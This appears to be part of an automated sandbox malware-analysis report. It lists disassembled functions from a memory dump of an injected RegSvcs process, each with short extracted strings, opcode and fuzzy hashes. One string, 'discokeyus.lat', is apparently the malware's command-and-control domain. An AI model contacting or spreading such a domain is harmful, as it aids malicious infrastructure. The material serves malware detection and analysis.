Function 0041E7C0 Relevance: 5.8, Strings: 4, Instructions: 779COMMON

Download Yara Rule

Strings

", xrefs: 0041F121
hI, xrefs: 0041E98F
/, xrefs: 0041E9BE
-+, xrefs: 0041F11A

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: "$-+$/$hI
API String ID: 0-2772680581
Opcode ID: 409baa93764c372ff58d36d41dba2cd8c3d99c0b7ed760c369768b2520c3b364
Instruction ID: 80b5f3405da4d7e7bc2228bbbe7299cc3933a4313a4431d55bf3dd64750ae482
Opcode Fuzzy Hash: 409baa93764c372ff58d36d41dba2cd8c3d99c0b7ed760c369768b2520c3b364
Instruction Fuzzy Hash: 6442387850C3818FC725CF25C8506AFBBE1AF85314F044A6EE8D85B392D739D94ACB5A

Function 0042CA49 Relevance: 5.3, Strings: 4, Instructions: 302COMMON

Download Yara Rule

Strings

v, xrefs: 0042CDC6
bc, xrefs: 0042CE9D
Hs, xrefs: 0042CCE3
,JHj, xrefs: 0042CD5D

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: ,JHj$Hs$bc$v
API String ID: 0-909542228
Opcode ID: ad4b43c67400b0ccafcca15083408b2c8a4fed5129e88a914fecac855cc6ed9e
Instruction ID: f210d87f6d5865ed1c617f00c3be5d3d578c02e4f21426ae5baa12ce733d6edf
Opcode Fuzzy Hash: ad4b43c67400b0ccafcca15083408b2c8a4fed5129e88a914fecac855cc6ed9e
Instruction Fuzzy Hash: C0919E71A1C3A08BE3358F3594517AFBBD2AFD3314F58896EC4C99B382C6794405CB96

Function 0042CB22 Relevance: 5.3, Strings: 4, Instructions: 299COMMON

Download Yara Rule

Strings

v, xrefs: 0042CDC6
bc, xrefs: 0042CE9D
Hs, xrefs: 0042CCE3
,JHj, xrefs: 0042CD5D

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: ,JHj$Hs$bc$v
API String ID: 0-909542228
Opcode ID: f1c18572ebcde3c507da4d01c59951efa700b1a2472cb7546e8eacdba262d522
Instruction ID: ba8baf3debfb1281f5f3a9f4bb7f36b3e217b7d4f704efc08a24ef2861aa601e
Opcode Fuzzy Hash: f1c18572ebcde3c507da4d01c59951efa700b1a2472cb7546e8eacdba262d522
Instruction Fuzzy Hash: FA916D71A1C3A08BE3358F3594917AFBBD2AFD3314F58896DC4C94B382CA794405CB96

Function 0042CAD0 Relevance: 5.3, Strings: 4, Instructions: 295COMMON

Download Yara Rule

Strings

v, xrefs: 0042CDC6
bc, xrefs: 0042CE9D
Hs, xrefs: 0042CCE3
,JHj, xrefs: 0042CD5D

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: ,JHj$Hs$bc$v
API String ID: 0-909542228
Opcode ID: d2c01644c1b783dc07337eb5961086e4655b708d6c2de64b3f2482e035b941c1
Instruction ID: f1dd0e060a49988aa5914a4bcfde423beaa814ce8563699fb3410ac54fff71cf
Opcode Fuzzy Hash: d2c01644c1b783dc07337eb5961086e4655b708d6c2de64b3f2482e035b941c1
Instruction Fuzzy Hash: 89918E71A1C3A08BE3358F3594517ABBFD2AFD3314F58896EC4C99B382C6794405CB96

Function 0042CB11 Relevance: 5.3, Strings: 4, Instructions: 271COMMON

Download Yara Rule

Strings

v, xrefs: 0042CDC6
bc, xrefs: 0042CE9D
Hs, xrefs: 0042CCE3
,JHj, xrefs: 0042CD5D

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: ,JHj$Hs$bc$v
API String ID: 0-909542228
Opcode ID: 3d500b1000b7ad2bbd92419dc8dce251e5a9dd8a0e3fad46196f1295967bd69e
Instruction ID: 1e9c0ee7827ae846e03c62aab54aec301621c39cdfcdcbd3b33c3bf2ddd67d6a
Opcode Fuzzy Hash: 3d500b1000b7ad2bbd92419dc8dce251e5a9dd8a0e3fad46196f1295967bd69e
Instruction Fuzzy Hash: 4B814871A1C3A08BE3358F3994517ABBFD2AFE3314F59896DC4C94B386C6784409CB96

Function 00417DEE Relevance: 4.7, Strings: 3, Instructions: 998COMMON

Download Yara Rule

Strings

r}A, xrefs: 00417D60
i, xrefs: 00417B2A
,, xrefs: 004183A1

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID: InitializeThunk
String ID: ,$i$r}A
API String ID: 2994545307-2114006112
Opcode ID: 0e4b36d0337e01a9c7c8ce5630e9dd0ade0f1867cda4b4963c273f19514711e6
Instruction ID: 71abf614919c99122684cd8b50d12f0618c33dd175a6392faed4f31dbac36a6d
Opcode Fuzzy Hash: 0e4b36d0337e01a9c7c8ce5630e9dd0ade0f1867cda4b4963c273f19514711e6
Instruction Fuzzy Hash: 90427976A087508FD324CF69D8807ABBBE2EB96300F1D492ED4D5A7352C7389845C796

Function 0041759F Relevance: 4.4, Strings: 3, Instructions: 671COMMON

Download Yara Rule

Strings

r}A, xrefs: 00417D60
gfff, xrefs: 00417747
i, xrefs: 00417B2A

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: gfff$i$r}A
API String ID: 0-3931832132
Opcode ID: 63d4f06d283b13aa9aabc31ef275959d287b6dadcbde27f9351af1790c00577d
Instruction ID: 86030a502c6fbeff1aeb5632b982c99bae1c365f88ce42af9c09e5b1275022bd
Opcode Fuzzy Hash: 63d4f06d283b13aa9aabc31ef275959d287b6dadcbde27f9351af1790c00577d
Instruction Fuzzy Hash: 74028A76A483118BD724CF28D8817ABBBE2EBD2300F19852ED4C5D7392DB389945C786

Function 0041D380 Relevance: 4.2, Strings: 3, Instructions: 453COMMON

Download Yara Rule

Strings

C], xrefs: 0041D471
34, xrefs: 0041D46A
|F, xrefs: 0041D40A

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: 34$C]$|F
API String ID: 0-2804560523
Opcode ID: 7bec5bc3369f6adcf9dfe2aa521af371a2ac693f70b7f14cbe9fa8a8d0a997b9
Instruction ID: 2c432fa7c5999ab476cb5019d0599193357fe59285c965ab9162d9f100ef16a5
Opcode Fuzzy Hash: 7bec5bc3369f6adcf9dfe2aa521af371a2ac693f70b7f14cbe9fa8a8d0a997b9
Instruction Fuzzy Hash: E2C1F1B59183118BC720CF28C8816ABB3F2FFD5314F58895DE8D58B390E778A945C79A

Function 0042DFE9 Relevance: 4.1, Strings: 3, Instructions: 332COMMON

Download Yara Rule

Strings

TQ][, xrefs: 0042E307
sWK), xrefs: 0042E049
Ef, xrefs: 0042E24E

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: Ef$TQ][$sWK)
API String ID: 0-3401374238
Opcode ID: 2018eb1ddcc6c4d2b6b82b9d22d54321858e2bd23606dd915e7f156b5046d053
Instruction ID: 19a0c778187f2748ae17dd07c5e08606c1358576a23e797e2c0b4f31c76305c1
Opcode Fuzzy Hash: 2018eb1ddcc6c4d2b6b82b9d22d54321858e2bd23606dd915e7f156b5046d053
Instruction Fuzzy Hash: CBB1C33061C3E08ED7398F2994507ABBBE09F97304F48499DD4D95B382DB79850ACBA7

Function 0041B2E0 Relevance: 4.0, Strings: 3, Instructions: 231COMMON

Download Yara Rule

Strings

/pqr, xrefs: 0041B30E
_, xrefs: 0041B428
+|-~, xrefs: 0041B306

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: +|-~$/pqr$_
API String ID: 0-1379640984
Opcode ID: 4a5a7f83b503959aed81fc9274c5a394571bb0f6731898145231dc30ce1a0eba
Instruction ID: 042a524babaaaf1240c13a88dd3a117b8cd22f0ed9ec4b151ea40a3d869026f8
Opcode Fuzzy Hash: 4a5a7f83b503959aed81fc9274c5a394571bb0f6731898145231dc30ce1a0eba
Instruction Fuzzy Hash: D9810A5561495006DB2CDF3489A333BAAD79F84308B2991BFC995CFBABE93CC502874D

Function 0040DBD9 Relevance: 3.0, Strings: 2, Instructions: 528COMMON

Download Yara Rule

Strings

discokeyus.lat, xrefs: 0040DF76, 0040E316
Dx, xrefs: 0040E139

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: Dx$discokeyus.lat
API String ID: 0-1480405892
Opcode ID: ff34d217169f84ecf3502b05061dc3eb4241f1b5e2f3e4b9a9a76cc037eed5b2
Instruction ID: 5bb1130f72a98c6f233d2c217a903bc57bb56de3339a3108bfc93ec34e4a158e
Opcode Fuzzy Hash: ff34d217169f84ecf3502b05061dc3eb4241f1b5e2f3e4b9a9a76cc037eed5b2
Instruction Fuzzy Hash: A1F1CDB054C3D18ED335CF6594907EBBBE0EB92314F144AAEC8D96B382C735090A8B97

Function 004179C1 Relevance: 2.8, Strings: 2, Instructions: 327COMMON

Download Yara Rule

Strings

r}A, xrefs: 00417D60
i, xrefs: 00417B2A

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID: InitializeThunk
String ID: i$r}A
API String ID: 2994545307-2976846027
Opcode ID: 216b221475836e3855d1b8759aff26348fc53bb82e04dccbb46422255a771982
Instruction ID: bf893d2c0726f4e317e2b51d5e32a95bc91f637e65c50f94937d3483e244f6d9
Opcode Fuzzy Hash: 216b221475836e3855d1b8759aff26348fc53bb82e04dccbb46422255a771982
Instruction Fuzzy Hash: 4781A83694C351CFD710CF68D8806ABBBE2EBD2300F18496ED8D697252C7389985C7CA

Function 00418591 Relevance: 2.6, Strings: 2, Instructions: 115COMMON

Download Yara Rule

Strings

P<?, xrefs: 00418590
P<?, xrefs: 00418680

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: P<?$P<?
API String ID: 0-3449142988
Opcode ID: 15a1e53f96b5dbffac6245dad95bb33219b4ef4f3549f5551b78542ea9aaefbe
Instruction ID: 58e7122ac3cea56caf2700395258951e32a9ff530ffc896d1714b79e34f88e6e
Opcode Fuzzy Hash: 15a1e53f96b5dbffac6245dad95bb33219b4ef4f3549f5551b78542ea9aaefbe
Instruction Fuzzy Hash: 64312976A44310EFD7208F54C880BBBB7A6F789300F58D92ED5C9A3251DB745C84879B

Function 0043B1D0 Relevance: 1.9, Strings: 1, Instructions: 653COMMON

Download Yara Rule

Strings

f, xrefs: 0043B3F1

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID: InitializeThunk
String ID: f
API String ID: 2994545307-1993550816
Opcode ID: 8e9e50587fb6b78e0fa4282dd31e32de0d85a4e7deb78124e5aaaf4c71ac60a2
Instruction ID: 18f220f42ed12d3f8706e230857eda4cfb4a422739cf4bd3cfbe98504a66e541
Opcode Fuzzy Hash: 8e9e50587fb6b78e0fa4282dd31e32de0d85a4e7deb78124e5aaaf4c71ac60a2
Instruction Fuzzy Hash: 8512D3706083418FD715CF28C88176FB7E5EB89314F289A2EE6E597392D734DC058B9A

Function 00425E30 Relevance: 1.7, Strings: 1, Instructions: 431COMMON

Download Yara Rule

Strings

{}, xrefs: 00425F9D

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: {}
API String ID: 0-4269290415
Opcode ID: ae2110e227aeaa4557827879407c3dbec5839db0e2fe540aba91c9e8bccdbcdd
Instruction ID: 0af4e1219fe889d167e9da05173529857e0f89c87775fbd0e3160429af4db955
Opcode Fuzzy Hash: ae2110e227aeaa4557827879407c3dbec5839db0e2fe540aba91c9e8bccdbcdd
Instruction Fuzzy Hash: 82E101B5608340DFE724DF24E88176FB7B2FB85304F54893DE5859B2A2DB789805CB4A

Function 00438810 Relevance: 1.7, Strings: 1, Instructions: 426COMMON

Download Yara Rule

Strings

/,-, xrefs: 004388F5

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID: InitializeThunk
String ID: /,-
API String ID: 2994545307-1700940157
Opcode ID: e68cf86ee166e556bd12f2f12a5a46f9bc2d0c12cb890ba0df125163a2fef21b
Instruction ID: 73ea5f1ed436ac76404857fefd2ddfa4c8367646346d3918638d2e9e73e3d7e7
Opcode Fuzzy Hash: e68cf86ee166e556bd12f2f12a5a46f9bc2d0c12cb890ba0df125163a2fef21b
Instruction Fuzzy Hash: 8EB18E717083014BD714DF25888163BF792EBCA314F14A92EF5D557392DB39EC068B9A

Function 00416263 Relevance: 1.7, Strings: 1, Instructions: 405COMMON

Download Yara Rule

Strings

VtA, xrefs: 004163A1

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID: InitializeThunk
String ID: VtA
API String ID: 2994545307-3724035812
Opcode ID: e8c9bba709d658e790e2a6ad064546b7b8b5661d45e7256e4bece47e75e6f2c0
Instruction ID: ed71193d6b2bdbbac52031f97d74cd30495a87e66650ae04c888d17f76a05038
Opcode Fuzzy Hash: e8c9bba709d658e790e2a6ad064546b7b8b5661d45e7256e4bece47e75e6f2c0
Instruction Fuzzy Hash: 5DC139766083419FD714CF28D8817AFB7E2AB95310F09892EE4D5D7392C738D885C75A

Function 0042B170 Relevance: 1.5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

Strings

", xrefs: 0042B36E

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 08379c2cfec4ee4560f7149afc2674de524dbb751cb7c6d8c58db735b762b861
Instruction ID: 33b1f2780e14060464d7ed180fcf8b3e4403934f6fcecc96c03af05ff21b71f5
Opcode Fuzzy Hash: 08379c2cfec4ee4560f7149afc2674de524dbb751cb7c6d8c58db735b762b861
Instruction Fuzzy Hash: 4A71D732B083358BD714CE28E48432FB7E2EBC5750FA9856EE89497351D7389C4587CA

Function 0041D83A Relevance: 1.5, Strings: 1, Instructions: 224COMMON

Download Yara Rule

Strings

klm, xrefs: 0041D9AC

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: klm
API String ID: 0-3800403225
Opcode ID: d5319d95fe68aebd98aaca92b9825a3df1dae6eff9af15c4fe87a1423c5b3b77
Instruction ID: fbab8d391cb70804594fb2969dbf4b57704b04da195ac2ac4d1ccbe35a174314
Opcode Fuzzy Hash: d5319d95fe68aebd98aaca92b9825a3df1dae6eff9af15c4fe87a1423c5b3b77
Instruction Fuzzy Hash: 9751F3B4A0D3508BD314EF25D81276BB7F2EFA6348F18856EE4D54B391E7398501CB1A

Function 00417380 Relevance: 1.4, Strings: 1, Instructions: 149COMMON

Download Yara Rule

Strings

?^A, xrefs: 00417450, 00417540

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID: InitializeThunk
String ID: ?^A
API String ID: 2994545307-4120214115
Opcode ID: 2c308a6fbd29e83612078340da99c3c212b60cd104204cd4e1c6453a1b582895
Instruction ID: 9ee6d34e9011fc7addbd5ae762574014bc539ca284b22a695acd6cfcc742d02e
Opcode Fuzzy Hash: 2c308a6fbd29e83612078340da99c3c212b60cd104204cd4e1c6453a1b582895
Instruction Fuzzy Hash: 2141783A648300DFE3248B94D880ABBBBA3B7D5310F5D552EC5C527222CB745C81878F

Function 00428B61 Relevance: 1.4, Strings: 1, Instructions: 142COMMON

Download Yara Rule

Strings

$%, xrefs: 00428C20

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: $%
API String ID: 0-4214564638
Opcode ID: d78bc3d5ce02b10deb2a392cf77ba543051be3d806e39ea4f7dd24e4e80accd5
Instruction ID: 3a12058a654eb28ab9a6ec9325260f0da8ac6e7581b620ea067b04d8af41a39e
Opcode Fuzzy Hash: d78bc3d5ce02b10deb2a392cf77ba543051be3d806e39ea4f7dd24e4e80accd5
Instruction Fuzzy Hash: 694124B0E022298BCB10CF99E8513AEB7B1FF55310F09825DE441AB790E7785941CB64

Function 0041682D Relevance: .8, Instructions: 761COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c893c65e03af5ed3381c551886126d2ea28dea69d32e62726fdedb8c1a906dc
Instruction ID: 1dcbf6391fd41f0c0a817e27e8bafbe762063cd3c7318eef4161125519cd5594
Opcode Fuzzy Hash: 7c893c65e03af5ed3381c551886126d2ea28dea69d32e62726fdedb8c1a906dc
Instruction Fuzzy Hash: 57424876A083518BD724CF29C8917ABB7E2EFC5310F19892EE4C597351DB38D845CB8A

Function 004074F0 Relevance: .6, Instructions: 611COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83213a2729f592a7edcd98fc7886bfd8d55118cdf426f5e19ae94b324be42bba
Instruction ID: 7b72874d185f9504f09fa30b763c2e13130ca022e31a023e0d3144396e745bed
Opcode Fuzzy Hash: 83213a2729f592a7edcd98fc7886bfd8d55118cdf426f5e19ae94b324be42bba
Instruction Fuzzy Hash: 1012A372A0C7118BD725DE18D8806ABB3E1BFC4315F19893ED986A7385D738B8518B87

Function 004197C2 Relevance: .6, Instructions: 596COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d4a608daa09243b0b1664d6ac314f1ff4fa7c4c8c111b79aec593db6438873e
Instruction ID: ba4386b7c12eba82c1b0c1a845e92ae21c1426ac82d7aa641ba094e7d1c8bfda
Opcode Fuzzy Hash: 7d4a608daa09243b0b1664d6ac314f1ff4fa7c4c8c111b79aec593db6438873e
Instruction Fuzzy Hash: FE021671A083128BC724CF28C4A16ABB7F1EFE5350F19852DE8C99B351E7389D85C786

Function 004291DD Relevance: .5, Instructions: 549COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2253fead0949c94e28b23ae243de764efe372f7ce01ce19a162629ea64ece33e
Instruction ID: 8cc232c379ab24ad0e8e110b9e0577a2d66b898ca13c535210c4519ca42de900
Opcode Fuzzy Hash: 2253fead0949c94e28b23ae243de764efe372f7ce01ce19a162629ea64ece33e
Instruction Fuzzy Hash: ACF12771E003258BCF24CF58C8516ABB7B2FF95314F198199D896AF355E7389C41CB94

Function 00405990 Relevance: .4, Instructions: 448COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76f7eb2ea2dd7941e95dbf1f07b72685953879e74b7f78573d97f49de11c20aa
Instruction ID: bb9b723667839a33c3fd076cb6daf547bf5b8942c047ca41cb9a19f1e1e822b5
Opcode Fuzzy Hash: 76f7eb2ea2dd7941e95dbf1f07b72685953879e74b7f78573d97f49de11c20aa
Instruction Fuzzy Hash: A3F1CC356087418FD724CF29C88066BFBE2EFD9300F08882EE5D597391E679E944CB96

Function 00415220 Relevance: .4, Instructions: 436COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e201d641cfe25c641c2468e7a3483f4a9060aee4472faa5ea81c6e7fcc7eb0d8
Instruction ID: 473c7c0e01890161c42436878ad5ddc7d20691f55e5b146572409273c410520a
Opcode Fuzzy Hash: e201d641cfe25c641c2468e7a3483f4a9060aee4472faa5ea81c6e7fcc7eb0d8
Instruction Fuzzy Hash: CAD1F575609700DBD3209F15D8417EBB3A5FFD6354F184A6EE8C98B391EB389840C79A

Function 00426B95 Relevance: .4, Instructions: 356COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53eb30f04210c5aa1d7ea8e5a987f3c65e47ecdc85497fc231301112acc4fb82
Instruction ID: 8f62d820d698011493e9b4d33d56c28701bf8a730f1a894cccb9041d930e3295
Opcode Fuzzy Hash: 53eb30f04210c5aa1d7ea8e5a987f3c65e47ecdc85497fc231301112acc4fb82
Instruction Fuzzy Hash: A4B148B5E00565CFCF10CF59E8417AEB7B1AF0A304F5A407AD899AB342D7399D01CBA9

Function 0043F330 Relevance: .3, Instructions: 349COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 78baf6bead69bc787f6e498b6209c58df4768a7a1f3029cd250c3ec1940b1aee
Instruction ID: 3d8e549ead381eb5a41ee94ce64dad1362128fe91ea456cb5e2966e39e4c66ca
Opcode Fuzzy Hash: 78baf6bead69bc787f6e498b6209c58df4768a7a1f3029cd250c3ec1940b1aee
Instruction Fuzzy Hash: A3B12536A083129BC724CF28C88056BB7E2FF99700F19953DEA8697366E735DC06D785

Function 00422190 Relevance: .3, Instructions: 330COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1235eeb8cf710a390d5557258a43f903d8b0ebafe0fc0a19c3d367544ede0ca8
Instruction ID: a24f2a78553098ad8a5e3b5bc8abd089333314a4ae9ebed43d08ec28266042c4
Opcode Fuzzy Hash: 1235eeb8cf710a390d5557258a43f903d8b0ebafe0fc0a19c3d367544ede0ca8
Instruction Fuzzy Hash: 9D9126B1B04321ABD7209F20DD91B77B3A5EF91318F14482DE9869B381E7B9E904C75A

Function 0043EFB0 Relevance: .3, Instructions: 320COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 69f7ea7b3bcfd880a0eef8db25e79bddcc6229897a0f740fc9fa50f79ffe9049
Instruction ID: 3187122ed07642cbe4dcf9e03264eeaa439871456ea8a6719abbd84e200541cd
Opcode Fuzzy Hash: 69f7ea7b3bcfd880a0eef8db25e79bddcc6229897a0f740fc9fa50f79ffe9049
Instruction Fuzzy Hash: 4EA11436A043018BC718DF28D99092BB3F2EBC9710F1A957DE9869B365EB35DC05CB46

Function 00429C2B Relevance: .3, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c996c3f4605880eb5795293c8fc84fa0ba55b563aa94cfbc2b65958c9b9224e
Instruction ID: 89cd8c3f6ac805753dcfa7ea52abb159a623b373aaffce4ab273b97bd3830c78
Opcode Fuzzy Hash: 6c996c3f4605880eb5795293c8fc84fa0ba55b563aa94cfbc2b65958c9b9224e
Instruction Fuzzy Hash: CFB10575608790DFD714DF24E891A2BB7E2EF8A314F488A6DF0D5872A2D7388905CB16

Function 0043AEC0 Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 28138e8c65325f641ce846c5d717fbfcd9e0028e0a671fa80ee9e5ed8af67cde
Instruction ID: ba880319810bdb8e213e259538359e713a98a4b2945b2457ae3d4c78796ecc2a
Opcode Fuzzy Hash: 28138e8c65325f641ce846c5d717fbfcd9e0028e0a671fa80ee9e5ed8af67cde
Instruction Fuzzy Hash: 47512A357043008FE7188F28C89577BB7E2EB9A320F18A62ED5D597392D7389C41C78A

Function 004385E0 Relevance: .2, Instructions: 192COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1636052746.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93ce565895c2d767d3f4f3cf703cee2db26bdababecfc0e7e91b354ce90ac481
Instruction ID: 19c9bc1ea9186e56c23c5e66cc144f5345884b6a785bfb5c303e44cb60fc86fa
Opcode Fuzzy Hash: 93ce565895c2d767d3f4f3cf703cee2db26bdababecfc0e7e91b354ce90ac481
